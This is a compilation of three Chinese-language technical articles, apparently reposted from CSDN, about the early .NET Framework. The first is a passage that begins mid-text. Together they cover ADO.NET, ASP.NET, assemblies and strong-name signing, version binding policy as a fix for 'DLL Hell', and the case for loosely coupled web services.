     框架包括一套开发人员希望在标准语言库中存在的基类库，例如：集合、输入/输出，字符串及数据类。另外，基类库提供访问操作系统服务如图画、网络、线程、全球化和加密的类。服务框架也包括数据访问类库，及开发工具，如调试和剖析服务，能够使用的类。

    2、数据访问服务

    为了提供对数据的访问，服务框架包括ActiveX Data Objects+ (ADO.NET)类库。如同名子所暗示地那样，ADO.NET由ADO发展而来。ADO+被设计为基于网络的可扩展的应用程序和服务提供数据访问服务。ADO.NET为连接的指针风格的数据访问，同时也为更适合于把数据返回到客户端应用程序的无连接的数据模板提供高性能的APIs流。

    ADO.NET定义了那些链接数据仓库、 对数据仓库发送命令及从中获取结果的类。这些类由受控数据提供者（managed data provider）实现。ADO+中链接和命令对象看上去和ADO中的是一样的，并且一个名为DataReader的新类提供了通过高性能API流获取结果的能力。DataReader在功能上同前向、只读的ADO记录集（Recordset）是等同的，但是DataReader被设计用来最小化内存中生成的对象的数量，以提高性能，避免垃圾积累。在.NET Framework中包含了针对MicroSoft SQL Server?的受控数据提供者以及可通过OLE DB访问的任何数据仓库。

    ADO.NET的一个主要创新是引入了数据集（Dataset）。一个数据集是内存中提供数据关系图的高速缓冲区。数据集对数据源一无所知，它们可以由程序或通过从数据仓库中调入数据而被生成、填充，并且它使用相同的潜在的数据缓冲区。

    受控数据提供者为数据仓库和数据集公开一名为DataSetCommand 的接口对象。DataSetCommand 使用ADO.NET链接和命令以从数据仓库中填充数据集，并把在数据集中发生的变化解析到数据仓库中。

    所有的数据都可被看作XML，所以开发人员可以为任何数据使用转换和确认服务。ADO.NET定义了一个消费DataNavigator、生成一个新的XmlReader的通用转换体系。.NET Framework提供了一个支持W3C XSL Transformations (XSLT)细则的特殊转换组件。ADO.NET同时提供了一使用XML简图确认XmlReader的确认引擎。ADO.NET支持通过DTDs， XSD或 XDR定义的简图。

    3、表单应用模板

    编写Windows客户应用程序的开发人员可使用Win表单应用程序模板以利用Windows丰富的用户接口特点，包括现在的ActiveX控件和Windows 2000的新特点，如透明的、分层的、浮动窗口。可以选择传统的Windows或网络外观。得知它和现在的基于Windows表单包的相似性以后，开发人员会发现Win表单可编程模板和对设计阶段的支持非常直观。

    Win 表单利用了Microsft .NET框架 runtime以减少基于Windows的客户应用程序的开销。只要应用程序和组件是用Win所写或被Win表单应用程序使用，那么它们就能被框架安全模板在客户机上安全地执行。

    4、 网络应用程序模板

    ASP.NET的核心是HTTP运行语言，一个高性能的用于处理基于低级结构的HTTP请求的运行语言，而基于的结构与MicroSoft Internet Information Services (IIS)所提供的ISAPI结构相似。

    HTTP 运行语言是在象服务器上的IIS或客户机上的IE之类的unmanaged 主机过程中运行的受控代码。HTTP runtime负责处理引入的所有HTTP请求，并对每个请求应用程序的URL进行解析，然后把请求分配到应用程序以进行进一步的处理。

    ASP.NET使用基于构件的Microsft .NET框架配制模板，因此它获得了如XCOPY配制、构件并行配制、基于XML配制等优点。ASP.NET另一个主要优点是，它支持应用程序的实时更新。管理员不必关掉网络服务器或者甚至不用停止应用程序的运行就可以更新应用文件。

    在应用程序中，HTTP请求是通过HTTP模块的一个管道路由的，最终到达请求处理程序。HTTP模块和请求处理程序是一些实现特殊接口的受控类，而这些接口是由ASP.NET定义的。

    ASP.NET同样提供高速缓冲服务，以改善性能。输出缓冲可完全节省网页翻译，段缓冲储存部分的网页。由于提供了相应的类，所以只要需要，应用程序、HTTP模块以及请求处理程序可以在高速缓存中储存任意数量的对象。

    5、 ASP.NET 网络表单

    网络表单把基于Visual Basic?的表单的高生产性的优点带到了网络应用程序的开发中来。网络表单支持传统的将HTML内容与角本代码混合的ASP语法，但是它提出了一种将应用程序代码和用户接口内容分离的更加结构化的方法。引入的网络表单控件用于为封装通用用户接口元素提供了一种机制。

    网络表单控件负责生成用户接口，典型情况是在HTML表单中。ASP.NET是提供了一套映射传统的HTML用户接口小部件（包括列表框，文本框和按钮）的网络表单控件和一套附加的更加复杂的网络控件（如日历和广告转板）。

    代码与内容的分离使ASP.NET网页能动态地编译到受控类中，用以提高性能。每个引入的HTTP请求都被传递到一个新的网页实例，因此开发人员不需要关心代码中的线程安全性。

    6、 ASP.NET 网络 服务

    ASP.NET 网络 服务体系架构为用ASP.NET建立网络 服务提供了一高级可编程模板。虽然建立网络服务并不需要使用网络 服务平台，但是它提供许多的优点将简化开发过程，并且它使用的编程模型对用ASP或VB工作的开发人员来说是很熟悉的。使用这个可编程模型，开发人员不需要理解HTTP、SOAP或其它任何网络服务规范。

    开发人员用ASP.NET生成一个扩展名为.asmx的文件，并把此文件配制为网络应用程序的一部分，就建立起了一个网络 服务。

    ASP.NET 网络服务还提供了一个为在SCL文件中描述的网络服务生成分类的受控代理工具。代理生成器把SCL文件中描述的消息映射成受控类中的方法。

    网络服务为在Internet上绑定应用程序提供了一个利用现存体系架构和应用程序的简单的、灵活的、基于许多标准的模型。

    Microsft .NET框架在现有开发人员技巧之上，提供了一个应用程序模板和关键技术，用于简化安全、可靠、可扩展、高可用性的网络服务的建立、部署和不断的发展。


csdn_利用 .NET 框架简化发布和解决 DLL Hell 问题

  利用 .NET 框架简化发布和解决 DLL Hell 问题
作者： steven pratschner
microsoft corporation
简介

microsoft® .net 框架介绍了几个新功能，旨在简化应用程序发布和解决 dll hell。最终用户和开发人员都熟悉版本和发布问题，这些问题会伴随着如今基于组件的系统一同出现。例如，每个最终用户都在他们的机器上安装了一个新的应用程序，没料到已有应用程序神秘地停止了工作。多数开发人员花费时间使用 regedit，努力保持所有必要的注册项一致以便激活 com 类。

.net 框架中用于解决 dll hell 问题的设计原则和实现技术是建立在 microsoft windows® 2000 的基础上的， rick anderson 所著的 the end of dll hell（英文）和 david d'souza, bj whalen 及 peter wilson 所著的 implementing side-by-side component sharing in applications (expanded) （英文）中都有说明。.net 框架提供的许多功能都在这两篇文章中有所描述，包括应用程序隔离和并行组件，用于建立在 .net 平台的应用程序。您将了解 .net 平台上提供的版本支持，它能使本地 windows 应用程序更紧密地汇集。

本文介绍了汇编的概念，并描述 .net 如何使用汇编来解决版本和发布问题。我们将特别讨论汇编如何构建，如何命名以及编译器和通用语言运行时如何使用汇编来记录和加强应用程序片段间的版本依赖。我们也将讨论应用程序和管理员如何能通过我们所称的版本策略定制版本行为。

介绍并说明了汇编后，将展示几个发布方案，以便使您对 .net 框架中提供的各种打包和分发选项多少有一些了解。

--------------------------------------------------------------------------------

问题叙述

版本

从客户的角度，最常见的版本问题就是我们所说的 dll hell 问题。简单地讲， dll hell 是指当多个应用程序试图共享一个公用组件（如某个动态连接库（dll）或某个组件对象模型（com）类）时所引发的一系列问题。最典型的情况是，某个应用程序将要安装一个新版本的共享组件，而该组件与机器上的现有版本不向后兼容。虽然刚安装的应用程序运行正常，但原来依赖前一版本共享组件的应用程序也许已无法再工作。在某些情况下，问题的起因更加难以预料。比如，当用户浏览某些 web 站点时会同时下载某个 microsoft activex® 控件。如果下载该控件，它将替换机器上原有的任何版本的控件。如果机器上的某个应用程序恰好使用该控件，则很可能也会停止工作。

在许多情况下，用户需要很长时间才会发现应用程序已停止工作。结果往往很难记起是何时的机器变化影响到了该应用程序。用户可能会回忆起一周前安装了一些东西，但安装与目前看到的状态并没有任何明显的关联。 更糟的是，现在很少有诊断工具帮助用户（或帮助他们的技术支持人员）确定有什么问题。

这些问题的原因是应用程序不同组件的版本信息没有由系统记录或加强。而且，系统为某个应用程序所做的改变会影响机器上的所有应用程序—现在建立完全从变化中隔离出来的应用程序并不容易。

很难建立一个隔离应用程序的一个原因是当前运行时环境只允许单独版本组件或应用程序的安装。这个限制意味着组件的编写者必须以向后兼容的方式编写他们的代码，否则当他们安装新组件的时候会有终止已有应用程序的风险。实际上，如果可能的话，编写永远向后兼容的代码是非常难的。在 .net 中，side by side 概念是版本问题的核心。"side by side" 是在同一台机器上同时运行不同版本的相同组件的能力。使用支持并列的组件，编程人员不必努力维护严格的向后兼容，因为不同的应用程序自由使用某个共享组件的不同版本。

发布和安装

现在安装应用程序是多步过程。一般，安装一个应用程序包括复制许多软件组件到磁盘，和在系统中进行一系列描述那些组件的注册项。

注册表中的项和磁盘上文件的分隔使复制应用程序和卸载他们非常困难。而且，在注册表中完全描述某个 com 类所需的许多项之间关系非常松散。这些项常常包括联合类、接口、类型库和 dcom app id 的项，不涉及任何放在注册表文档扩展或组件类别的项。要时常手工保持这些项的同步。

最后，需要该注册足迹激活任何 com 类。这极大地复杂了发布分布式应用程序的过程，因为必须到每个客户端的机器进行适当的注册项。

如今另一个共同问题是：对一个正在运行的应用程序进行更新是不现实的。这是 web 应用程序最大的问题，web 应用程序必须停止工作然后重启动以更新应用程序使用的 com 类。

这些问题主要由从组件自己分离传来的组件描述引起的。换句话说，应用程序不是自描述的和独立的。

--------------------------------------------------------------------------------

解决方案的特性

.net 框架必须提供以下基本的能力解决刚刚描述的问题：

应用程序必须是自描述的：自描述的应用程序去掉了对注册表的依赖，能够毫无影响的安装和简单的卸载和复制。

必须记录和加强版本信息：版本支持必须建立在平台内部以保证依赖的适当版本在运行时载入。

必须记得“上次已知的正确配置”：当应用程序成功运行时，平台必须提供记住这套一起工作的组件的能力—包括它们的版本—。

必须支持并列组件：允许多个版本的组件同时安装和运行在机器上，允许调用者指定他们需要载入的版本代替不知不觉被强迫的版本。.net 框架通过允许框架自己的多个版本同时存在于一台单独的机器上使并列邻先了一步。这极大地简化了升级问题，因为管理员如果需要可以选择运行不同版本 .net 框架上的不同应用程序。

必须使应用程序隔离： .net 框架必须简化（实际上已经默认）编写不受机器上其他应用程序的改变影响的应用程序。

--------------------------------------------------------------------------------

汇编：积木

汇编是 .net 框架用于解决刚描述的版本和发布问题的积木。汇编是类型和资源的发布单元。在许多方面汇编和现在的 dll 相同。从本质上讲，汇编是“逻辑 dll”。

汇编是通过元数据调用清单自描述的。就像 .net 使用元数据描述类型一样，它也使用元数据描述包含类型的汇编。

汇编不仅仅于发布有关。例如，.net 中的版本在汇编层完成 —没有任何减少，就像一个模块或类型的版本化。而且，汇编还用于在应用程序之间共享代码。包含某个类型的汇编是该类型标志的一部分。

访问安全系统的代码在其许可模型的内核中使用汇编。汇编的编写者在清单中记录一组运行该代码所需求的许可，然后管理员将许可授权给基于汇编的代码，此汇编包含该代码。

最后，汇编也是类型系统和运行时间系统的核心，在其中他们为类型和服务建立了一个可视的边界作为解决引用类型的运行时间范围。

汇编清单

清单明确包括以下有关汇编数据：

标识：一个汇编标识由三部分组成：名称、版本号和选项文化。

文件列表：清单包括所有组成汇编的文件列表。对于每个文件，在建立清单时记录它的名称和内容的加密信息。该信息在运行时验证以确保发布单元的一致。

引用的汇编：汇编间的关系保存在收集的汇编清单中。从属信息包括版本号，它用于运行时保证载入正确版本的关系。

输出类型和资源：对类型和资源可用的可视选项包括“仅在我的汇编中可视”和“对我的汇编之外的调用者可视。”

许可需求：汇编许可需求分为三组：汇编运行需求、需要的但汇编还有一些即使没授权的功能的需求，以及编写者不想汇编被授权的需求。
il 反汇编 (ildasm) sdk 工具对于在汇编中查看代码和元数据很有帮助。图 1 是一个以 ildasm 现实的范例清单。.assembly 表示汇编而 .assembly extern 包含有关其他汇编所依赖的信息。

图 1. 以 il 反汇编显示的范例清单

汇编结构

到此为止，汇编主要以逻辑概念描述。本节通过描述他们如何在物理上体现帮助您使汇编更加具体。

通常，汇编由四个元素组成：汇编元数据（清单）、元数据描述类型、实现该类型的媒介语言 (il) 代码和一组资源。不是所有的这些都出现在每个汇编中。只有清单是严格需要的，但类型或资源需要给汇编一些重要的功能。

有几个关于这四个元素能如何包装的选项。例如，图 2 表示包含整个汇编:清单、类型元数据、il 代码和资源。

图 2. 包含所有汇编元素的 dll

另一种情况，一个汇编的内容也许分割为多个文件。在图 3 中，作者选择将一些有用的代码分离到一个不同的 dll 中，并在它的原始文件中保留一个大的资源文件（这里是一个 jpeg 文件）。这样做的一个原因就是优化代码的下载。.net 框架只在引用时才下载文件，所以如果汇编包含经常被访问的代码或资源，那么将他们分成单独的文件将提高下载的效率。

图 3. 汇编元素分割为多个文件

--------------------------------------------------------------------------------

版本与共享

dll hell 一个主要目的就是共享当前在基于组件的系统中使用的模型。默认情况下，单独的软件组件由机器上的多个应用程序共享。例如，每次一个安装程序复制一个 dll 到系统目录或在 com 注册表中注册一个类，该代码将潜在地影响其他运行在机器上的应用程序。实际上，如果一个已存在的应用程序使用共享组件的前一个版本，那么该应用程序将自动使用新版本。如果共享组件是严格向后兼容的这当然更好，但如果不可能，在许多情况下维护向后兼容是很困难的。如果没有维持向后兼容或不能维持，作为其他应用程序安装时的侧面影响经常导致应用程序中断。

.net 设计方针的一个原则就是隔离组件（或汇编）。隔离一个汇编的意思是一个汇编只能由一个应用程序访问—不是由机器上的多个应用程序共享并且不可能因其他应用程序对系统的改变而影响。隔离赋予开发者对应用程序所用代码的绝对控制。隔离，或应用程序专用汇编期望在 .net 应用程序中是默认的。隔离组件的趋势在 microsoft windows 2000 中随着 .local 文件的引入已经开始。该文件用于努力定位所需组件时使 os loader 和 com 首先从应用程序目录查找。（请参阅 msdn library 中的相关文档，implementing side-by-side component sharing in applications（英文）。）

然而，有些情况下在应用程序之间共享汇编是必要的。很明显每个应用程序都有自己的 system.winforms、system.asp 或公用的 web 表格控件的副本是没有意义的。

在 .net 中，在应用程序之间共享代码是明确的决定。共享汇编需要一些附加的需求。特别是，共享汇编应该支持相同的汇编并排多个版本安装和运行在相同的机器上，或者甚至在相同的进程中，在相同的时间。另外，共享汇编有更严格的命名需要。例如，一个共享的汇编必须有一个全局唯一的名称。

隔离和共享的需要导致我们考虑两种汇编。这是个相当松散的集合，在这两种汇编之间没有实际的结构，但它们如何使用是不同的：专用于某个应用程序或与许多应用程序共享。

应用程序专用汇编

应用程序专用汇编是只对某个应用程序可视的汇编。我们期望这是 .net 应用程序最普通的情况，因为 .net 框架帮助建立从其它应用程序引起的系统变化中隔离的应用程序。

专用汇编的命名需求很简单：汇编名称必须在应用程序中是唯一的。没必要起全局唯一的名称。保持名称唯一不是问题因为应用程序开发者完全控制哪个汇编与应用程序隔离。

应用程序专用汇编部署在使用它们的应用程序目录结构中。专用汇编可以直接放在应用程序的目录或它的子目录中。通用语言运行时间通过称为 probing 的进程查找这些汇编。"probing" 是汇编名称到包含清单的文件名称之间的简单映射。

特别地，通用语言运行时间把汇编的名称记录在汇编引用中，追加“.dll” 并在应用程序的目录中查找该文件。该方案中有一些变量，在那里运行时间会访问汇编命名的子目录中或汇编的风格命名的子目录。例如，某个开发者会选择将包含定位于德国的资源的汇编部署在称为“de”的子目录中，并将西班牙的资源部署在称为“es”的子目录中。

如前所述，每个汇编清单包括有关其关系的版本信息。该版本信息没有为专用汇编而加强，因为开发人员完全控制了部署到应用程序目录的汇编。

共享汇编

.net 框架还支持共享汇编的概念。共享汇编是在机器上由多个应用程序使用的。使用 .net，共享应用程序之间的代码是明确的决定。共享汇编有些额外的需求用于解决现在我们经历的共享问题。除了支持早先描述的并列之外，共享汇编还有许多严格的命名需求。例如，共享汇编必须有一个全局唯一的名称。而且系统必须提供“名称保护”—更确切的说,防止有人再使用编写者的汇编名称。例如，假设您是一个网格控件的厂家，并且发布了您的汇编版本 1。做为编写您需要确信没有其他人能发布声称为版本 2 的汇编或您的网格控件。.net 框架支持通过称为共享名的技术支持支持这些命名需求。（在下一节详细说明）。

通常，应用程序编写者不对应用程序使用的共享汇编有同等程度的控制。结果，在每次引用共享汇编时都检查版本信息。另外，.net 框架允许应用程序和管理员通过指定版本策略重载应用程序使用的共享汇编版本。

共享汇编通常部署到全局汇编库。全局汇编库是供多个应用程序使用的机器范围的汇编库。使用该库不是必要条件，但这样做有很多好处。例如，自动提供多个版本的汇编并行存储。而且，管理员能使用该库部署他们需要的每个机器上的应用程序要使用的缺陷修复或安全补丁。在该方案中，配置汇编到全局汇编存储能影响机器上的多个应用程序。.net 框架利用版本政策（稍候描述）的概念解决了现在出现在系统中共享区域的问题，例如 %windir%\system32。

在库中添加汇编需要明确的管理员操作—实际上，安装过程必须有“管理员权限”。汇编从不在存储结束作为运行一个应用程序的侧面影响，也不是当前工作的共享汇编的任何存储。在 visual studo .net 时间框架中，windows 安装程序将更新为理解汇编和汇编库。这意味着可以使用 windows 安装程序的所有功能，例如使用 .net 应用程序选择安装和应用程序恢复。

.net sdk 包括两个用于汇编库的工具。第一个是称为 al 的工具，它允许在库中添加汇编。al 使开发和测试方案变得方便，它不需要创建整个 windows 安装程序包在库中添加一个汇编。使用 /install 开关在库中添加汇编：

al /install:myassembly.dll
第二个工具是 windows shell extension，它允许您使用 windows explorer 操作库。图 4 表示全局汇编库的视图。

图 4. 全局汇编库

共享名

共享名用于使严格的命名需求与共享汇编结合起来。共享名有三个目标：

名称唯一：共享汇编必须具有全局唯一的名称。

防止名称冒充：作为开发人员，不希望有人发布您的汇编的后继版本并假称它是您发布的，无论是意外还是故意的。

提供引用标识：当涉及引用一个汇编时，共享名用于保证载入的汇编来自所期望的发行者。
共享名使用公共密钥加密实现。通常，过程如下所示：汇编的编写者产生一对密钥（或使用已有的），标记包含专有密钥清单的文件，并给调用者提供公共密钥。当引用汇编时，调用者记录生成强名称专有密钥相应的公共密钥。图 5 略述了该过程在开发期间如何工作，包括密钥如何存储在元数据中及如何生成签名。

该方案是称为“main”的汇编，它引用一个称为“mylib”的汇编。mylib 具有共享名。重要的步骤如下所述。

图 5. 实现共享名的过程

开发者调用在密钥对中传递的编译器和一组汇编的源文件。密钥对通常由称为 sn 的 sdk 工具生成的。例如，下面的命令生成一个新的密钥对并保存的文件中：
sn 杒 mykey.snk
多数的编译器将汇编作为编辑步骤的一部分。下面是一个 c# 命令的例子，它接受密钥对并给汇编签名：

csc /t:library math.cs /a.keyfile:mykey.snk /a.version:1.0.0.0
当编译器生成汇编时，公共密钥作为汇编标识的一部分保存在清单中。包括公共密钥作为标识的一部分给汇编提供了全局唯一的名称。

汇编生成后，包含清单的文件由专有密钥标记。结果签名保存在文件中。

当编译器生成 main 汇编时，mylib 汇编的公共密钥就作为引用 mylib 的一部分保存在 main 的清单中。
在运行时，.net 框架中有两个步骤保证共享名给予开发人员所需的利益。首先，在汇编安装到全局汇编库时，验证 mylib 的共享名签名。（没有配置到库中的验证签名的选项也是可用的。）验证签名保证 mylib 的内容从汇编建立以来没有改变。第二步是验证作为 main 引用 mylib 的一部分保存的公共密钥与 mylib 身份的一部分的公共密钥相匹配。如果这些密钥相同，main 的作者就能保证载入的 mylib 版本来自同一个的发布者，该发布者编写了建立 main 的 mylib 版本。当涉及 main 引用 mylib 时，该密钥等效检查在运行时完成。

术语“签名”常常联想到 microsoft authenticode。理解共享名和 authenticode 没有任何关系是非常重要的。这两个技术有不同的目标。实际上，authenticode 意味着对发行者信任的水平，而共享名不是。没有与强名称相关联的授权许可或第三方签名授权。另外，共享名签名通常由编译器本身作为编译过程的一部分进行。但是，也有实用程序用于在 sdk 中签名。

另一个值得考虑的是“测试签名”工程。汇编的编写者经常不能访问需要完全签名的专有密钥。大多数公司很好的保护这些密钥的存储它只能被少数人访问。结果，.net 框架提供少量在开发中的“测试签名”技术，然后再“真实签名”。

--------------------------------------------------------------------------------

版本策略

如刚刚所描述的，每个汇编清单记录它创建所依赖的每个关系的版本信息。但是，有一些方案应用程序的编写者或管理员需要在运行时以关系的不同版本运行。例如，管理员应该能发布故障排除版本而不需要重新编译每个应用程序以便得到该修改。而且，管理员必须能列出因发现安全漏洞或服务故障从没有使用的汇编的详细版本。.net 框架通过版本策略在版本绑定中启用了该灵活性。

汇编版本号

每个汇编都有四个部分组成的版本号作为它标识的一部分（就是说，一些汇编的版本 1.0.0.0 和 版本 2.1.0.2 是完全不同的与类装载器有关的标识)。包括作为标识的一部分的版本主要用来区分用于并行目的的汇编的版本。

开发人员和管理员必须理解版本号的结构，因为它是通用语言运行时间如何加强汇编之间的版本关系的关键。

图 6. 汇编版本号的四个部分

版本号的几个部分是主要版本、次要版本、内部版本和修订版本。主要版本或次要版本的改变可认为是不可兼容的改变。例如，开发人员改变了一些方法参数的类型或彻底删除了一些类型。类装载器使用该信息使所依赖汇编的不兼容版本不默认载入。

另一方面，仅改变版本号中的建立和版本部分可认为是兼容的。这些改变一般是故障排除或安全补丁，在这种情况下类型定义没有在某种程度上中断调用者的改变，这是兼容的。这些兼容的变化经常称为 quick fix engineering (qfe) 修复或动态修复。

默认的版本策略

当通用语言运行时间遇到在代码中引用汇编时，它决定载入所依赖汇编的版本。默认情况下，载入解决引用的汇编必须有与引用中的记录相同的主版本号和次版本号。如果这些号码不同，该汇编认为是不兼容的，并且不会默认载入。相反，通用语言运行时间会用最高的号码得到 qfe (或动态修复)。

例如，如果 main 以 mylib 的 1.0.0.0 版本编译，当运行发现 mylib 的 1.0.1.1 版本时，将载入 1.0.1.1。

总是取最新的编译和版本的策略称为“自动 qfe 策略”。该原则的主要目的是允许管理员在不重新创建所有应用程序的情况下发布故障排除版本。

定制版本策略

有些时候前面描述的默认策略并不是您所要的。例如，也许应用程序被所安装的 qfe 不经意地中断了。

默认的版本策略能通过使用 xml 配置文件修改。关于版本，有两个文件：一个应用程序说明文件和一个机器范围或管理员文件。应用程序说明文件保存在与应用程序相同的目录中。该文件中的策略描述只影响该应用程序。机器范围策略文件当前保存在 windows 目录。该文件被管理员用来描述影响本机器上所有应用程序的策略。例如，也许某个管理员确定了某个汇编的详细的版本具有一些安全漏洞，并且他确保该汇编将不再被使用。

自定义策略的示例包括：

绑定指定的版本

有时需要绑定一个与清单记录的版本完全不同的汇编。通过在配置文件中的<bindingpolicy>标签提供对该方案的支持。该策略用于映射某个关系指定版本的引用或某个关系所有版本的引用。

下面例子映射某个称为 calcr 的汇编 6.0.0.0 版本的引用：

<bindingpolicy>
<bindingredir name="calcr"
originator="32ab4ba45e0a69a1"
version="*" versionnew="6.0.0.0"
uselatestbuildrevision="yes"/>
</bindingpolicy>

关闭自动 qfe 策略

该策略允许停止“自动 qfe 策略”引用已提供的汇编。 <bindingpolicy> 标签也用在这里，但 uselatestbuildrevision 属性设置为 no，如下面例子所示：

<bindingpolicy>
<bindingredir name="calcr"
originator="32ab4ba45e0a69a1"
version="*" versionnew="6.1.1212.14"
uselatestbuildrevision="no"/>
</bindingpolicy>

安全模式

安全模式（或编译运行）策略用于恢复编译配置。启用该策略将使通用语言运行时间载入记录在清单中的关系的一个精确版本。大概应用程序在它创建、测试并第一次发布时工作。安全模式是用于恢复到该状态安全的网络。下面的 xml 代码为具体的应用程序打开安全模式：

<bindingmode>
<appbindingmode mode="safe"/>
</bindingmode>

如果某个具体的关系不符合版本规则或不经意引入一个错误，“安全模式”和“关闭自动 qfe 原则”可用于恢复应用程序到某个工作的状态。

策略解决方案中的阶段

本文已经介绍了几个版本和发布的概念，包括应用程序专用汇编、共享的汇编、全局汇编存储和用于指定版本策略的 xml 文件。本节通过描述通用语言运行时间查找汇编和应用版本策略经历的阶段将这些概念连接起来。

当通用语言运行时间遇到引用存储在元数据中的另一个汇编时，开始载入汇编的过程。根据引用，下面的步骤决定载入那个汇编的哪个版本：

参考应用程序说明文件查看是否指定了策略。如果是，以策略的信息修改原始文件。例如，如果引用指定版本 1.0.0.0 而应用程序说明策略文件指定版本 2.0.0.0，通用语言运行时间将按照如同初始指定版本 2.0.0.0 一样处理。

在应用程序目录（和子目录）中查找匹配的汇编。“匹配”定义为精确的主版本号和次版本号（除非 qfe 策略被禁止）。

不管通过查找是否发现一个匹配项，全局汇编库都将由 qfe 引用。这使管理员发布每个人都应该得到的故障排除。

最后，参考管理员策略文件。最后参考该文件是因为管理员最后决定载入哪个版本。

--------------------------------------------------------------------------------

发布

发布包含至少两个不同的方面：包装代码和将这些包装分布给运行该应用程序的客户端和服务器。.net 框架主要的目标是通过毫无影响的安装简化发布和复制发布的可行性。汇编自描述的天性使我们摆脱对注册表的依赖，因此使安装、卸载和复制变得相当简单。但是，有几种场合下复制作为发布机制并不充分。在这些情况下，.net 框架提供扩展代码下载服务并集成在 windows 安装程序中。

包装

在 .net 框架的第一个版本中有三个包装选项可用：

as-built（dll 和 exe）。在许多场合，不需要特别的包装。应用程序以发布工具制造的格式发布，即 dll 和 exe 的集合。

cab 文件。为了更有效地下载，cab 文件可用于压缩应用程序。

windows 安装程序包。 microsoft visual studio.net 和其他安装工具允许建立 windows 安装程序包（.msi 文件）。windows 安装程序允许利用应用程序修复、选择安装以及其他 microsoft windows 2000 应用程序管理功能。
分布方案

.net 应用程序能以多种方式发布，包括复制、代码下载以及通过 windows 安装程序。

对于许多应用程序，包括 web 应用程序和 web 服务，发布和复制一组文件到磁盘并运行一样简单。卸载和复制就像删除这些文件或复制它们一样容易。

.net 框架提供使用 web 浏览器下载代码的支持。该部分有几个重要问题，包括：

零影响：没有注册表项添加到机器上。

增量下载：汇编的许多分块只有在引用时才下载。

下载与应用程序隔离：代表某个应用程序的下载代码不影响机器上其它的应用程序。支持代码下载的主要目的是：防止用户下载新版本的某个共享的组件影响浏览具体的 web 站点和影响其他应用程序。

no authenticode 对话框：访问安全系统的代码用于允许可移动代码以部分信任程度运行。将不再出现对话框询问用户选择是否信任该代码。
最后，.net 完全集成到 windows 安装程序和 windows 2000 应用程序管理功能中。

--------------------------------------------------------------------------------

摘要

.net 框架能够零影响的安装和访问 dll hell。汇编是用于启用这些功能的自描述、版本发布单元。

创建隔离应用程序的能力是紧要的，因为它使创建的应用程序不受其他应用程序对系统的改变所影响。.net 框架通过在应用程序的目录结构中发布应用程序专用汇编，促进了这种应用程序。

并行是 .net 中共享和版本化问题的核心。并行允许某个汇编的多个版本同时在机器上安装和运行，并允许每个应用程序请求那个汇编的指定版本。

通用语言运行时间记录许多应用程序之间的版本信息，并在运行时使用该信息确保载入所依赖的适当版本。应用程序开发人员和管理员通过版本策略在选择载入的汇编版本方面提供灵活性。

.net 提供几个包装和发布的选项，包括 windows 安装程序、代码下载和简单复制。


csdn_．NET架构的核心开发技术

  ．NET架构的核心开发技术
作者：金志立
    不可否认，应用软件的开发正在经历一次巨变——将最终增强开发人员的生产力并开启一道通向全新概念的应用程序的大门。

    新型的开发模式正逐渐被推广，将分发软件演变成一种服务还有待于所有开发人员的共同努力，而互联网却将彻底改变应用程序的开发模式和配置方式。

    传统上，软件开发人员通过集成本地系统服务的方式开发应用程序。这种模型使开发人员有权使用一整套丰富的开发资源，精确控制应用程序的性能。

    如今，开发人员在很大程度上已挣脱了这种模式的束缚，致力于构建具有复杂结构的n层系统，这种系统能将网络中各处的众多的应用程序进行集成，并大大提升应用程序的价值。这样，开发人员便可集中精力挖掘软件独特的商业价值，而不必日夜为如何构建基本结构伤脑筋了。令人欣喜的局面将应运而生：软件投放市场的时间大大缩短、开发人员的编程效率明显提高，最为根本的是开发出质量上乘的软件。

    我们正在进入计算机发展的下一个阶段——基于Internet的阶段，特别是基于Internet核心技术——XML扩充标记语言。尽管多层应用程序开发将焦点集中在建造大型企业级应用程序上，但现在XML使得能够创建可用于任何人、任何场所的大型应用程序。它扩大了应用程序的使用范围。这样，软件就不是只能从CD上安装的某种东西，而是一种服务——就像呼叫服务或者计费电视一样，可以通过通信媒体来预订。

    这一切，是通过将紧密联接的、高效的n层计算技术与面向消息的、松散联接的Web概念相结合来实现的。我们将这种计算风格称为Web Service（Web服务），它的出现标志着人类已经迈入应用程序开发技术的新纪元。Web服务是一种应用程序，它可以使用标准的互联网协议，像超文本传输协议(HTTP)和XML，将功能纲领性地体现在互联网和企业内部网上。

    我们也可将Web服务视作Web上的组件编程。

    从理论上讲，开发人员通过调用Web应用编程接口（API)，将Web服务集成进他们的应用程序，就像调用本地服务一样。两者区别在于前者能够通过Internet发送到某个远程系统的服务上。例如，像微软护照（Microsoft Passport）这样的服务，可以给开发人员提供应用程序身份确认的功能。通过对护照服务编程，开发人员就可以利用护照服务的基础体系，实现维护用户数据库，确信服务开启和运行以及正确地备份等等功能。

    ■松散联接
    跨越网络的分布应用程序逻辑的概念并不是一个新名词，但跨越Web的分布和集成应用程序逻辑的概念却是。

    此前，像微软的DCOM (Distributed Component Object Model )、Object Management Group公司的CORBA （Common Object Request Broker Architecture ）以及Sun公司的RMI(Remote Method Invocation )这些分布式对象模型被称为分布应用程序逻辑。运用这些系统结构，虽然服务放在远程系统上，开发人员仍然可以像原来本机编程那样维护和丰富应用程序的功能。

    但这种系统的问题是不能扩展到Internet。因为该体系的基础是服务器上的客户端和服务器的紧密联结。这意味着两者必须是同质的基础体系，但也就常常意味着这种系统是非常脆弱的，如果有任何一端接口发生变化，另一端程序必然就会被中断。举个例子，如果服务器应用程序的接口改变了，那么客户端也将会失效。

    开发中要求有一个紧密联接的系统这本身没有错，而且许多应用程序也一直就是建立在这些系统上的。但最终，随着时间的流逝，这种模型是不会扩展的。因为众多公司企业要求相互沟通，这很难保证会有一个统一的系统，同样也很难保证，你的客户的服务器会有你所需要的完全一致的系统，你甚至都不可能猜想到它所用的是什么操作系统、什么对象模型和什么编程语言。

    相反，Web服务的联接非常松散。这就意味者你可以在联接的任何一端任意改变接口，而应用程序可以不受影响地照常工作。从技术上说，这主要是由于使用了拥有稳固性能的基于消息的异步技术，如像HTTP、SMTP等Web标准协议。而且最重要的是，XML可以帮助实现其通用性。

    作为一个宏伟的计划，.NET的路还很长。今后的发展无论是崎岖坎坷还是一片光明，在对新技术和IT产业的推动上，微软都是功不可没的。

    消息系统将通信的基本单元打包进自描述的、运用于网络通信层的包（被称做消息）。消息系统和分布式对象系统的关键区别在于，发送者需要对接收者的系统了解多少。使用分布式的对象系统，发送者需要帮助接收者考虑许多问题，比如应用程序将如何激活和卸载、调用的是什么接口等等。

    另一方面，消息系统在通讯层上达成协议。发送者只需考虑的是接收者能够知道信息正被发送。发送方不需要了解一旦消息被收到后将会如何处理，也不需要对发送方和接收方之间作任何考虑。

